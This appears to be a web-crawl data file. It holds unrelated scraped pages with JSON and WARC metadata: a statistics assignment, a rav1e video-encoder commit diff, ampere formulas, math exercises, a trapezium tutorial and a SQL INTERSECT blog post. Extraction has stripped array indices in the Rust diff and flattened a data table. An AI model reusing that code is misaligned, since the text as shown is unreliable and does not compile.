points: poor answers with some value\n\nPresentation and Appendix\n\n• 5 points: well presented, easy to read, proper English used, R code and extra output in Ap- pendix\n• 3 points: good presentation, some R code in main write-up.\n• 1 point: poor presentation, handwritten, hand- drawn diagrams, R code in main section.\n• 0 point: illegible, missing R-codes/output\n\n1. [30 marks] Consider the baseball dataset describing the population of baseball players in the data file baseball.csv. Set the seed of your randomization to be the last 4 digits of your student number.\nThe R package- ‘sampling’, which includes the functions- strata and getdata, is useful for this question. The following R codes show how to install and load the package.\n\n```install.package(\"sampling\")\n#load sampling package, to use the functions- strata and getdata\nlibrary(sampling)\n```\n1. Take a stratified random sample of 150 players, using proportional allocation with the different teams as strata (teams are in column 1 of the data file). Describe how you selected the sample.\n2. Find the mean of the variable logsal = ln(salary), using your stratified sample, and give a 95% CI.\n3. Estimate the proportion of players in the data set who are pitchers, using your stratified sample, and give a 95% CI.\n4. Take a simple random sample of 150 players and repeat part (c). How does your estimate compare with that of part (c).\n5. Examine the sample variances of logsal in each stratum. Do you think optimal allocation would be worthwhile for this problem?\n6. Using the sample variances from (e) to estimate the population stratum variances, determine the optimal allocation for a sample in which the cost is the same in each stratum and the total sample size is 150. How much does the optimal allocation differ from proportional allocation for this scenario?\n\n2. [15 marks] Use the population data set hh18.csv with N = 251 pairs of measurements of height, x and handspan, y from our class to mainly compare regression and ratio estimation for estimating the mean handspan μy, using information from a sample of size n =10. Set the seed of your randomization to be the last 4 digits of your student number.\n\n1. Compute a SRS estimator, a ratio estimator and a regression-based estimator of the population mean handspan μy.\n2. Find the error of estimation, |μˆ − μy | for each of the three estimators in part (a) and compare them.\n3. Compute and compare the estimated variances of the three estimates.\n\n3. [10 marks] A market research firm constructed a sampling plan to estimate the weekly sales of brand A cereal in a certain geographic area. The firm decided to sample cities within the area and then to sample supermarkets within cities. The number of boxes of brand A cereal sold in a specified week is the measurement of interest. Five cities are sampled from the 20 in the area. Using the data given in the accompanying table, answer the following:\n\n City Number of supermarkets Supermarkets sampled y ̄i s2i 1 2 3 4 5 45 36 20 18 28 9 7 4 4 6 102 90 76 94 120 20 16 22 26 12\n1. Estimate the average sales for the week for all supermarkets in the area. Place a bound on the error of the estimation. Is the estimator you used unbiased?\n2. Do you have enough information to estimate the total number of boxes of cereal sold by all supermarkets in the area during the week? If so, explain how you would estimate this total, and place a bound on the error of estimation."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.86811435,"math_prob":0.91321266,"size":3773,"snap":"2020-45-2020-50","text_gpt3_token_len":883,"char_repetition_ratio":0.12947732,"word_repetition_ratio":0.06051437,"special_character_ratio":0.2419825,"punctuation_ratio":0.10474861,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97517,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-05T18:32:51Z\",\"WARC-Record-ID\":\"<urn:uuid:3d34e7aa-7487-4a95-97db-698374a7866c>\",\"Content-Length\":\"29012\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:96238c85-0457-4bda-9523-774bdb944bfc>\",\"WARC-Concurrent-To\":\"<urn:uuid:7bf905ce-8987-4a12-9ece-03512c09d9ae>\",\"WARC-IP-Address\":\"160.153.92.200\",\"WARC-Target-URI\":\"https://www.urgenthomework.com/question/r-language-assignment-question-1\",\"WARC-Payload-Digest\":\"sha1:UUQIZ2PNVRCKOZLQ2FTUJDI6B3CJZ34O\",\"WARC-Block-Digest\":\"sha1:W5XX4EVY2OS3WOHJSPXKC6JNF5NMEWPA\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141748276.94_warc_CC-MAIN-20201205165649-20201205195649-00261.warc.gz\"}"} |
https://gitlab.xiph.org/ePirat/rav1e-import-test/-/commit/4f93ef7350870c745bd4b592334e52e291786369 | [
"### Transform domain distortion for RDO-based mode decision (#680)\n\n```Use transform domain distortion during RDO-based mode decision.\n- Turn on tx-domain distortion when speed >= 1.\n- For CfL mode, use pixel domain distortion since reconstructed luma pixels are required for CfL mode of chroma channels.\n\nFor default speed = 3, there is a regression of 0.35% PSNR bd-rate increase on AWCY.\n\nPSNR | PSNR Cb | PSNR Cr | PSNR HVS | SSIM | MS SSIM | CIEDE 2000\n0.3440 | 0.4580 | 0.3700 | 0.2730 | 0.2714 | 0.2616 | 0.5526```\nparent d1445621\n ... ... @@ -92,7 +92,8 @@ fn write_b_bench(b: &mut Bencher, tx_size: TxSize, qindex: usize) { false, 8, ac, 0 0, false ); } } ... ...\nThis diff is collapsed.\n ... ... @@ -13,7 +13,7 @@ use partition::TxSize; use std::mem; fn get_log_tx_scale(tx_size: TxSize) -> i32 { pub fn get_log_tx_scale(tx_size: TxSize) -> i32 { match tx_size { TxSize::TX_64X64 => 2, TxSize::TX_32X32 => 1, ... ... @@ -128,21 +128,22 @@ impl QuantizationContext { } #[inline] pub fn quantize(&self, coeffs: &mut [i32]) { coeffs <<= self.log_tx_scale; coeffs += coeffs.signum() * self.dc_offset; coeffs = divu_pair(coeffs, self.dc_mul_add); for c in coeffs[1..].iter_mut() { *c <<= self.log_tx_scale; *c += c.signum() * self.ac_offset; *c = divu_pair(*c, self.ac_mul_add); pub fn quantize(&self, coeffs: &[i32], qcoeffs: &mut [i32]) { qcoeffs = coeffs << self.log_tx_scale; qcoeffs += qcoeffs.signum() * self.dc_offset; qcoeffs = divu_pair(qcoeffs, self.dc_mul_add); for (qc, c) in qcoeffs[1..].iter_mut().zip(coeffs[1..].iter()) { *qc = *c << self.log_tx_scale; *qc += qc.signum() * self.ac_offset; *qc = divu_pair(*qc, self.ac_mul_add); } } } pub fn quantize_in_place( qindex: u8, coeffs: &mut [i32], tx_size: TxSize, bit_depth: usize // quantization without using Multiplication Factor pub fn quantize_wo_mf( qindex: u8, coeffs: &[i32], qcoeffs: &mut [i32], tx_size: TxSize, bit_depth: usize ) { let log_tx_scale = get_log_tx_scale(tx_size); ... ... @@ -153,14 +154,14 @@ pub fn quantize_in_place( let dc_offset = dc_quant * 21 / 64 as i32; let ac_offset = ac_quant * 21 / 64 as i32; coeffs <<= log_tx_scale; coeffs += coeffs.signum() * dc_offset; coeffs /= dc_quant; qcoeffs = coeffs << log_tx_scale; qcoeffs += qcoeffs.signum() * dc_offset; qcoeffs /= dc_quant; for c in coeffs[1..].iter_mut() { *c <<= log_tx_scale; *c += c.signum() * ac_offset; *c /= ac_quant; for (qc, c) in qcoeffs[1..].iter_mut().zip(coeffs[1..].iter()) { *qc = *c << log_tx_scale; *qc += qc.signum() * ac_offset; *qc /= ac_quant; } } ... ...\n ... ... @@ -113,7 +113,7 @@ fn cdef_dist_wxh( } // Sum of Squared Error for a wxh block fn sse_wxh( pub fn sse_wxh( src1: &PlaneSlice<'_>, src2: &PlaneSlice<'_>, w: usize, h: usize ) -> u64 { assert!(w & (MI_SIZE - 1) == 0); ... ... @@ -210,6 +210,64 @@ fn compute_rd_cost( (distortion as f64) + lambda * rate } // Compute the rate-distortion cost for an encode fn compute_tx_rd_cost( fi: &FrameInvariants, fs: &FrameState, w_y: usize, h_y: usize, is_chroma_block: bool, bo: &BlockOffset, bit_cost: u32, tx_dist: i64, bit_depth: usize, skip: bool, luma_only: bool ) -> f64 { assert!(fi.config.tune == Tune::Psnr); let lambda = get_lambda(fi, bit_depth); // Compute distortion let mut distortion = if skip { let po = bo.plane_offset(&fs.input.planes.cfg); sse_wxh( &fs.input.planes.slice(&po), &fs.rec.planes.slice(&po), w_y, h_y ) } else { assert!(tx_dist >= 0); tx_dist as u64 }; if !luma_only && skip { let PlaneConfig { xdec, ydec, .. } = fs.input.planes.cfg; let mask = !(MI_SIZE - 1); let mut w_uv = (w_y >> xdec) & mask; let mut h_uv = (h_y >> ydec) & mask; if (w_uv == 0 || h_uv == 0) && is_chroma_block { w_uv = MI_SIZE; h_uv = MI_SIZE; } // Add chroma distortion only when it is available if w_uv > 0 && h_uv > 0 { for p in 1..3 { let po = bo.plane_offset(&fs.input.planes[p].cfg); distortion += sse_wxh( &fs.input.planes[p].slice(&po), &fs.rec.planes[p].slice(&po), w_uv, h_uv ); } } } // Compute rate let rate = (bit_cost as f64) / ((1 << OD_BITRES) as f64); (distortion as f64) + lambda * rate } pub fn rdo_tx_size_type( seq: &Sequence, fi: &FrameInvariants, fs: &mut FrameState, cw: &mut ContextWriter, bsize: BlockSize, bo: &BlockOffset, ... ... @@ -391,6 +449,7 @@ pub fn rdo_mode_decision( if skip { tx_type = TxType::DCT_DCT; }; encode_block_a(seq, cw, wr, bsize, bo, skip); let tx_dist = encode_block_b( seq, fi, ... ... @@ -409,22 +468,38 @@ pub fn rdo_mode_decision( tx_size, tx_type, mode_context, mv_stack mv_stack, true ); let cost = wr.tell_frac() - tell; let rd = compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, seq.bit_depth, false ); let rd = if fi.use_tx_domain_distortion { compute_tx_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, tx_dist, seq.bit_depth, skip, false ) } else { compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, seq.bit_depth, false ) }; if rd < best.rd { //if rd < best.rd || luma_mode == PredictionMode::NEW_NEWMV { best.rd = rd; ... ... @@ -509,7 +584,8 @@ pub fn rdo_mode_decision( false, seq.bit_depth, CFLParams::new(), true true, false ); cw.rollback(&cw_checkpoint); if let Some(cfl) = rdo_cfl_alpha(fs, bo, bsize, seq.bit_depth) { ... ... @@ -535,21 +611,25 @@ pub fn rdo_mode_decision( best.tx_size, best.tx_type, 0, &Vec::new() &Vec::new(), false // For CFL, luma should be always reconstructed. ); let cost = wr.tell_frac() - tell; let rd = compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, seq.bit_depth, false ); // For CFL, tx-domain distortion is not an option. let rd = compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, seq.bit_depth, false ); if rd < best.rd { best.rd = rd; ... ... @@ -658,30 +738,45 @@ pub fn rdo_tx_type_decision( let mut wr: &mut dyn Writer = &mut WriterCounter::new(); let tell = wr.tell_frac(); if is_inter { let tx_dist = if is_inter { write_tx_tree( fi, fs, cw, wr, mode, bo, bsize, tx_size, tx_type, false, bit_depth, true ); fi, fs, cw, wr, mode, bo, bsize, tx_size, tx_type, false, bit_depth, true, true ) } else { let cfl = CFLParams::new(); // Unused write_tx_blocks( fi, fs, cw, wr, mode, mode, bo, bsize, tx_size, tx_type, false, bit_depth, cfl, true ); } fi, fs, cw, wr, mode, mode, bo, bsize, tx_size, tx_type, false, bit_depth, cfl, true, true ) }; let cost = wr.tell_frac() - tell; let rd = compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, bit_depth, true ); let rd = if fi.use_tx_domain_distortion { compute_tx_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, tx_dist, bit_depth, false, true ) } else { compute_rd_cost( fi, fs, w, h, is_chroma_block, bo, cost, bit_depth, true ) }; if rd < best_rd { best_rd = rd; best_type = tx_type; ... ...\nMarkdown is supported\n0% or\nYou are about to add 0 people to the discussion. Proceed with caution.\nFinish editing this message first!"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7742387,"math_prob":0.99316615,"size":653,"snap":"2020-45-2020-50","text_gpt3_token_len":203,"char_repetition_ratio":0.13713405,"word_repetition_ratio":0.0,"special_character_ratio":0.32465544,"punctuation_ratio":0.12,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9956651,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-21T23:07:35Z\",\"WARC-Record-ID\":\"<urn:uuid:0404108b-d3df-4b14-9236-78ee2e52901e>\",\"Content-Length\":\"549758\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:61ee2add-1196-4884-aad0-f375fac12146>\",\"WARC-Concurrent-To\":\"<urn:uuid:cdc288bc-2cec-41f5-8b73-9c3c5898222a>\",\"WARC-IP-Address\":\"140.211.166.4\",\"WARC-Target-URI\":\"https://gitlab.xiph.org/ePirat/rav1e-import-test/-/commit/4f93ef7350870c745bd4b592334e52e291786369\",\"WARC-Payload-Digest\":\"sha1:AQ355GQKAE4UYS6MEJCIHVTSSWQXJRUC\",\"WARC-Block-Digest\":\"sha1:TQ6UXV2YAUUVSTBBAFD5K4VUWKSTRN5N\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107878633.8_warc_CC-MAIN-20201021205955-20201021235955-00036.warc.gz\"}"} |
https://www.gradesaver.com/textbooks/math/algebra/algebra-and-trigonometry-10th-edition/chapter-5-review-exercises-page-413/78 | [
"## Algebra and Trigonometry 10th Edition\n\n$5\\ln(x-2)-\\ln(x+2)-3\\ln x=\\ln\\frac{(x-2)^5}{(x+2)x^3}$\nUse the Quotient Property and the Power Property: $5\\ln(x-2)-\\ln(x+2)-3\\ln x=\\ln(x-2)^5-\\ln(x+2)-\\ln x^3=\\ln\\frac{(x-2)^5}{(x+2)x^3}$"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6691076,"math_prob":0.9999856,"size":461,"snap":"2022-05-2022-21","text_gpt3_token_len":162,"char_repetition_ratio":0.1356674,"word_repetition_ratio":0.0,"special_character_ratio":0.34056398,"punctuation_ratio":0.045454547,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99997807,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-22T11:53:01Z\",\"WARC-Record-ID\":\"<urn:uuid:7ee78474-6120-4be2-a7c2-053147eec33a>\",\"Content-Length\":\"65461\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e629e4fd-0a7e-4256-9cf0-a4776086c3bb>\",\"WARC-Concurrent-To\":\"<urn:uuid:292265ad-e4c9-4382-9a82-e44b1ef02fa9>\",\"WARC-IP-Address\":\"54.227.25.41\",\"WARC-Target-URI\":\"https://www.gradesaver.com/textbooks/math/algebra/algebra-and-trigonometry-10th-edition/chapter-5-review-exercises-page-413/78\",\"WARC-Payload-Digest\":\"sha1:45KPDJ3Z4OZ6ROL56TY4OEYDV7ZQHEN2\",\"WARC-Block-Digest\":\"sha1:XPISLOPCKMIVDAMMQ2ZDBOTPECR55IJI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662545326.51_warc_CC-MAIN-20220522094818-20220522124818-00438.warc.gz\"}"} |
https://brilliant.org/practice/applying-multiple-differentiation-rules/ | [
"",
null,
"Calculus\n\n# Applying Multiple Differentiation Rules\n\nIf $f(x) = \\ln \\left(\\frac{x + 7}{\\sqrt{x-2}}\\right)$, $f'(18)$ can be expressed as $\\frac{a}{b}$, where $a$ and $b$ are coprime positive integers. What is the value of $a+b$?\n\nThe derivative of $y=(x-9)^3(x^2+6)^2$ can be expressed as $\\frac{dy}{dx}=(x-9)^2(x^2+6) \\cdot f(x).$ What is $f(x)?$\n\nIf $\\displaystyle y=\\sin^{-1}(x^{5}-2),$ what is $\\displaystyle \\frac{dy}{dx}?$\n\nIf the derivative of $\\displaystyle f(x)=\\left(\\frac{x+7}{6x+1}\\right)^{5}$ is expressed as $\\displaystyle \\frac{-a(x+7)^b}{(6x+1)^{6}}$ for integers $a$ and $b$, what is $a+b?$\n\nIf $\\displaystyle y=4x\\tan^{-1}\\sqrt{x},$ what is $\\displaystyle \\frac{dy}{dx}?$\n\n×"
] | [
null,
"https://ds055uzetaobb.cloudfront.net/brioche/chapter/Differentiation%20Rules%20-x6b5yx.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5237836,"math_prob":1.0000098,"size":993,"snap":"2022-40-2023-06","text_gpt3_token_len":466,"char_repetition_ratio":0.13346815,"word_repetition_ratio":0.0,"special_character_ratio":0.4451158,"punctuation_ratio":0.13240418,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.00001,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-30T16:13:34Z\",\"WARC-Record-ID\":\"<urn:uuid:7bb9555e-a8e7-45d2-bbe7-c1d2ff5f3e99>\",\"Content-Length\":\"142067\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f09d6881-01fd-4a29-8caa-937e6d8c97b8>\",\"WARC-Concurrent-To\":\"<urn:uuid:cb94e23b-8a87-465b-83ee-7b14fb127886>\",\"WARC-IP-Address\":\"104.18.8.15\",\"WARC-Target-URI\":\"https://brilliant.org/practice/applying-multiple-differentiation-rules/\",\"WARC-Payload-Digest\":\"sha1:SIKVZCESBE3EK6AL7PQ3ST52APHLZPEM\",\"WARC-Block-Digest\":\"sha1:VFL237NZLACD4EKJX4OAN3AL4SQF5S5D\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030335491.4_warc_CC-MAIN-20220930145518-20220930175518-00038.warc.gz\"}"} |
https://www.easycalculation.com/formulas/ampere-formula.html | [
"# Ampere Formula - Classical Physics\n\n#### Ampere Formula:\n\nUsing Horsepower,\n\nA = ( h * 746 ) / ( v * e ) ( For, Direct Current )\nA = ( h * 746 ) / ( v * e * p ) ( For, Single Phase AC )\nA = ( h * 746 ) / ( v * e * p * 2 ) ( For, Two Phase AC )\nA = ( h * 746 ) / ( v * e * p * 1.73 ) ( For, Three Phase AC )\n\nUsing Kilowatts,\n\nA = ( kw * 1000 ) / ( v ) ( For, Direct Current )\nA = ( kw * 1000 ) / ( v * p ) ( For, Single Phase AC )\nA = ( kw * 1000 ) / ( v * p * 2 ) ( For, Two Phase AC )\nA = ( kw * 1000 ) / ( v * p * 1.73 ) ( For, Three Phase AC )\n\nUsing Kilovolts Ampere,\n\nA = ( kva * 1000 ) / ( v ) ( For, Single Phase AC )\nA = ( kva * 1000 ) / ( v * 2 ) ( For, Two Phase AC )\nA = ( kva * 1000 ) / ( v * 1.73 ) ( For, Three Phase AC )\n\nWhere,\n\nA = Ampere\nkva = Kilovolt-Amp\nv = Voltage\np = Power Factor\ne = Efficiency\nh = Horsepower\nkw = Kilowatts"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5342188,"math_prob":0.99741524,"size":863,"snap":"2022-40-2023-06","text_gpt3_token_len":337,"char_repetition_ratio":0.22235157,"word_repetition_ratio":0.73913044,"special_character_ratio":0.52375436,"punctuation_ratio":0.12658228,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99999213,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-01-27T17:39:07Z\",\"WARC-Record-ID\":\"<urn:uuid:2ca9a466-9f33-4934-9ff9-c0e7b8f8d054>\",\"Content-Length\":\"22552\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0a8a1eb0-3cb1-4601-8aef-ca0f809e5cc6>\",\"WARC-Concurrent-To\":\"<urn:uuid:839b383e-68e4-4d8b-a897-3246be4ea3d4>\",\"WARC-IP-Address\":\"173.255.199.118\",\"WARC-Target-URI\":\"https://www.easycalculation.com/formulas/ampere-formula.html\",\"WARC-Payload-Digest\":\"sha1:NSU7KHTTVE5XR3KDRKWYFAEWRVANDGCR\",\"WARC-Block-Digest\":\"sha1:RHWLFHP3OV5LK3GZ3N7XGPXUZYUGMITB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764495001.99_warc_CC-MAIN-20230127164242-20230127194242-00134.warc.gz\"}"} |
https://wtskills.com/questions-area-of-trapezium/ | [
"# Questions: Area of Trapezium\n\nIn this post we will discuss area of Trapezium questions. All the questions are solved step by step so that you have in depth understanding of the concept. Trapezium is one of the important part of quantitative aptitude exams like GMAT, CAT, CMAT, SNAP, SSC, IBPS etc., so make sure to invest time in this topic\n\n## Properties of Trapezium\n\nWhat is Trapezium?\nTrapezium is a form of quadrilateral in which two sides are parallel.\nIf you remember parallelogram you will observe that in the figure all opposing sides are parallel. But in trapezium, there is only two sides which are parallel to each other.\n\n==>The figure shown above is that of a trapezium.\nYou can easily observe that sides AB and CD are parallel to each other and sides AD & BC are non parallel sides.\n\n==>The parallel sides AB and CD are called Bases.\nHere side CD is called Base 1 (B1) and side AB is called Base 2 (B2)\n\n==>The non parallel sides are called legs.\n\n==> I have also shown a perpendicular line called height (h) which is very useful for calculating area of trapezium\n\n==> One important property of trapezium is if you join the midpoint of the non parallel side of the trapezium, its length is equal to half of sum of parallel sides of trapezium\n\nThe line EF is made by joining mid point of non parallel sides like AD and BC.\nLength of EF = 1/2 (AB + CD)\n\nTypes of Trapezium\nMainly three types of trapezoid are there\n\n1. Isosceles Trapezoid : In this trapezium, the non parallel sides are equal\n\n2. Scalene Trapezoid: Here the length of all sides are different\n\n3. Right Trapezium : It has at least two right angle\n\n### Formulas for Trapezium\n\n#### Area of Trapezium Formula\n\nArea of Trapezium is calculated by multiplying sum of parallel sides and height of trapezium and then dividing it by 2\n\nArea of Trapezium = 1/2 * (Sum of Parallel Sides) * Height\n\nArea of Trapezium = 1/2 * (B1 + B2) * h\n\nThis is a straightforward formula for calculating area of trapezium so i request you to please remember it for examination purpose\n\n#### Perimeter of Trapezium\n\nPerimeter simply means the sum of all sides of any figure.\nFor trapezium perimeter calculation, just do the summation of all sides of the given quadrilateral\n\nFor the figure above the perimeter of trapezium can be written as ==> b1 + b2 + x + y\n\n#### Angles of Trapezium\n\nThere are two points that you have to keep in mind while solving angles of trapezium questions\na. the sum of all angles interior angle of quadrilateral is 360 degree\nb. and sum of the angles formed by parallel side and same non parallel side is 180\n\n## Calculate Area of Trapezium\n\nWe know that\nArea of Trapezium = 1/2 * (sum of parallel sides) * (Perpendicular distance between them)\n=> 1/2 * (b1 + b2) * h\n\nIn the question it is given that:\nb1 = 1.5 meter\nb2 = 2.5 meter\nh = 6.5 meter\n\nPutting these values in the above formula\nArea of Trapezium ==> 1/2 * (1.5 + 2.5) * 6.5\n\n==> 1/2 * 4 * 6.5\n==> 6.5 * 2\n==> 13 sq. meter\n\nLet ABCD is a trapezium\n\nGiven,\nAB = 12 meter\nDC = 8 meter\nArea = 840 sq meter\n\nwe know that formula for Area of Trapezium is:\nArea of Trapezium => 1/2 * h * (b1 + b2)\n\n==> 840 = 1/2 * h * (12+8)\n==> 840 = 1/2 * h * 20\n==> h = 84 meter\n\nThe depth of the canal is 84 meter\n\nABCD is the trapezium\nIts given in the question that;\nBC = 14 cm\nAB = CD = 5 cm\n\nwe have drawn an perpendicular imaginary line AE and DF which is also the height of the trapezium.\nIn order to calculate the area of trapezium we have to find value of height (i.e. AE)\n\nwe know that BC = 14 cm\nThe line EF is part of the rectangle ADEF\nSo EF = 6 cm\n\nThe line BC is made of different parts\n==>BC = x+6 +x\n==>14 = 2x +6\n==> 8 = 2x\n==> x= 4 cm\n\nTaking triangle ABE which is right angled triangle\nUsing Pythagoras Theorem\n\n{ AB }^{ 2 }={ BE }^{ 2 }+{ AE }^{ 2 }\\\\\\ \\\\ 5^{ 2 }={ 4 }^{ 2 }+{ AE }^{ 2 }\\\\\\ \\\\ { 25 }^{ }={ 16 }^{ }+{ AE }^{ 2 }\\\\\\ \\\\ 9\\quad =\\quad { AE }^{ 2 }\\\\\\ \\\\ 3\\quad =\\quad AE\n\nHence the height of the trapezium is 3 cm\n\nNow we know that\n==>Area of Trapezium = 1/2 * (Sum of parallel sides) * height\n\n==> Area of Trapezium = 1/2 * (14 +6) * 3 ==> 10*3 ==> 30 sq cm\n\nHence the required area of trapezium is 30 sq cm"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.85982364,"math_prob":0.998127,"size":4080,"snap":"2022-40-2023-06","text_gpt3_token_len":1250,"char_repetition_ratio":0.19455348,"word_repetition_ratio":0.041312274,"special_character_ratio":0.30808824,"punctuation_ratio":0.05882353,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99967206,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-09T03:33:39Z\",\"WARC-Record-ID\":\"<urn:uuid:a209fbc7-037a-422e-bf01-087ebca5c1d9>\",\"Content-Length\":\"59457\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cc5d8711-66ff-492e-acb5-eb64438ac4da>\",\"WARC-Concurrent-To\":\"<urn:uuid:682ed2b7-a14e-43c1-80a7-a94d4c67de55>\",\"WARC-IP-Address\":\"148.66.138.143\",\"WARC-Target-URI\":\"https://wtskills.com/questions-area-of-trapezium/\",\"WARC-Payload-Digest\":\"sha1:2OPKVCCGB7WNXALS3T7NEOSZKYEEUX3Z\",\"WARC-Block-Digest\":\"sha1:HSGEINAP7PZBKNLSN6A6TOVR6D7DNJ4B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764501066.53_warc_CC-MAIN-20230209014102-20230209044102-00131.warc.gz\"}"} |
https://blog.jooq.org/intersect-the-underestimated-two-way-in-predicate/ | [
"# INTERSECT – the Underestimated Two-Way IN Predicate\n\nHave you ever wondered how you could express a predicate that “feels” like the following, in SQL:\n```\nWHERE Var1 OR Var2 IN (1, 2, 3)\n\n```\n/u/CyBerg90 has, on reddit. The idea was to create a predicate that yields true whenever both values `Var1` and `Var2` yield either 1, 2, or 3. The canonical solution The canonical solution would obviously be to write it all out as:\n```\nWHERE Var1 = 1 OR Var1 = 2 OR Var1 = 3\nOR Var2 = 1 OR Var2 = 2 OR Var2 = 3\n\n```\nA lot of duplication, though. Using IN predicates Most readers would just connect the two `IN` predicates:\n```\nWHERE Var1 IN (1, 2, 3)\nOR Var2 IN (1, 2, 3)\n\n```\nOr the clever ones might reverse the predicates as such, to form the equivalent:\n```\nWHERE 1 IN (Var1, Var2)\nOR 2 IN (Var1, Var2)\nOR 3 IN (Var1, Var2)\n\n```\nNicer solution using EXISTS and JOIN All of the previous solutions require syntax / expression repetition to some extent. While this may not have any significant impact performance-wise, it can definitely explode in terms of expression length. Better solutions (from that perspective) make use of the `EXISTS` predicate, constructing ad-hoc sets that are non-empty when both `Var1` and `Var2` yield either 1, 2, or 3. Here’s `EXISTS` with `JOIN`\n```\nWHERE EXISTS (\nSELECT 1\nFROM (VALUES (Var1), (Var2)) t1(v)\nJOIN (VALUES (1), (2), (3)) t2(v)\nON t1.v = t2.v\n)\n\n```\nThis solution constructs two tables with a single value each, joining them on that value:\n```+------+ +------+\n| t1.v | | t2.v |\n+------+ +------+\n| Var1 | | 1 |\n| Var2 | | 2 |\n+------+ | 3 |\n+------+\n```\nLooking at a Venn Diagram, it is easy to see how JOIN will produce only those values from `t1` and `t2` that are present in both sets:",
null,
"Nicest solution using EXISTS and INTERSECT However, people might not think of a set intersection when they read `JOIN`. So why not make use of actual set intersection via `INTERSECT`? The following is the nicest solution in my opinion:\n```\nWHERE EXISTS (\nSELECT v\nFROM (VALUES (Var1), (Var2)) t1(v)\nINTERSECT\nSELECT v\nFROM (VALUES (1), (2), (3)) t2(v)\n)\n\n```\nObserve, how the length of the SQL statement increases with `O(m + n)` (or simply `O(N)`, where `m, n = number of values in each set`, whereas the original solutions using `IN` increase with `O(m * n)` (or simply `O(N2)`).\n\n### INTERSECT Support in popular RDBMS\n\n`INTERSECT` is widely supported, both in the SQL standard as well as in any of the following RDBMS that are supported by jOOQ:\n• CUBRID\n• DB2\n• Derby\n• H2\n• HANA\n• HSQLDB\n• Informix\n• Ingres\n• Oracle\n• PostgreSQL\n• SQLite\n• SQL Server\n• Sybase ASE\n• Sybase SQL Anywhere\nIn fact, the following databases also support the less commonly used `INTERSECT ALL`, which doesn’t remove duplicate values from resulting bags (see also `UNION` vs. `UNION ALL`)\n• CUBRID\n• PostgreSQL\nHappy intersecting!\n\n## 4 thoughts on “INTERSECT – the Underestimated Two-Way IN Predicate”\n\n1. Why all these features never get implemented into MySQL?\n\n2. ericjs says:\n\nAm I suffering some massive brain fart in reading this, or did you in writing it? If you want “a predicate that yields true whenever both values Var1 and Var2 yield either 1, 2, or 3” don’t you mean AND in many of the places you wrote OR? For example shouldn’t\n\nWHERE Var1 IN (1, 2, 3)\nOR Var2 IN (1, 2, 3)\n\n1. I suspect that this is really what the OP wanted… Only one of `Var1` or `Var2` needs to be in `(1, 2, 3)`"
] | [
null,
"https://i0.wp.com/blog.jooq.org/wp-content/uploads/2015/08/intersect.png",
null
